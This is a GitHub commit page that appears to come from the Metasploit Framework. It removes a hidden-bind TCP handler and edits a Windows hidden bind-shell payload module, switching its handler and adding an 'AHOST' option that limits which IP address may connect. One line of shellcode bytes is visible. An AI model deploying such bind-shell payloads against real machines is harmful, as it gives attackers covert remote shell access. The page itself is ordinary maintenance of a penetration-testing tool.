Skip to content

Commit 5881f94

Browse files
committed
Merge pull request #5 from Meatballs1/hidden_bind
Remove bind hidden handler
2 parents 3c95c02 + 2be6b8b commit 5881f94

File tree

2 files changed

+8
-234
lines changed

2 files changed

+8
-234
lines changed

lib/msf/core/handler/bind_hidden_tcp.rb

Lines changed: 0 additions & 231 deletions
This file was deleted.

modules/payloads/singles/windows/shell_hidden_bind_tcp.rb

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
##
55

66
require 'msf/core'
7-
require 'msf/core/handler/bind_hidden_tcp'
7+
require 'msf/core/handler/bind_tcp'
88
require 'msf/base/sessions/command_shell'
99
require 'msf/base/sessions/command_shell_options'
1010

@@ -25,13 +25,13 @@ def initialize(info = {})
2525
[
2626
'vlad902', # original payload module (single_shell_bind_tcp)
2727
'sd', # original payload module (single_shell_bind_tcp)
28-
'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden ACL functionality
28+
'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden ACL functionality
2929
],
3030
'License' => MSF_LICENSE,
3131
'References' => ['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html'],
3232
'Platform' => 'win',
3333
'Arch' => ARCH_X86,
34-
'Handler' => Msf::Handler::BindHiddenTcp,
34+
'Handler' => Msf::Handler::BindTcp,
3535
'Session' => Msf::Sessions::CommandShell,
3636
'Payload' =>
3737
{
@@ -69,6 +69,11 @@ def initialize(info = {})
6969
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
7070
}
7171
))
72+
73+
register_options([
74+
OptAddress.new('AHOST', [true, "IP address allowed", nil])
75+
])
7276
end
7377

7478
end
79+

0 commit comments

Comments
 (0)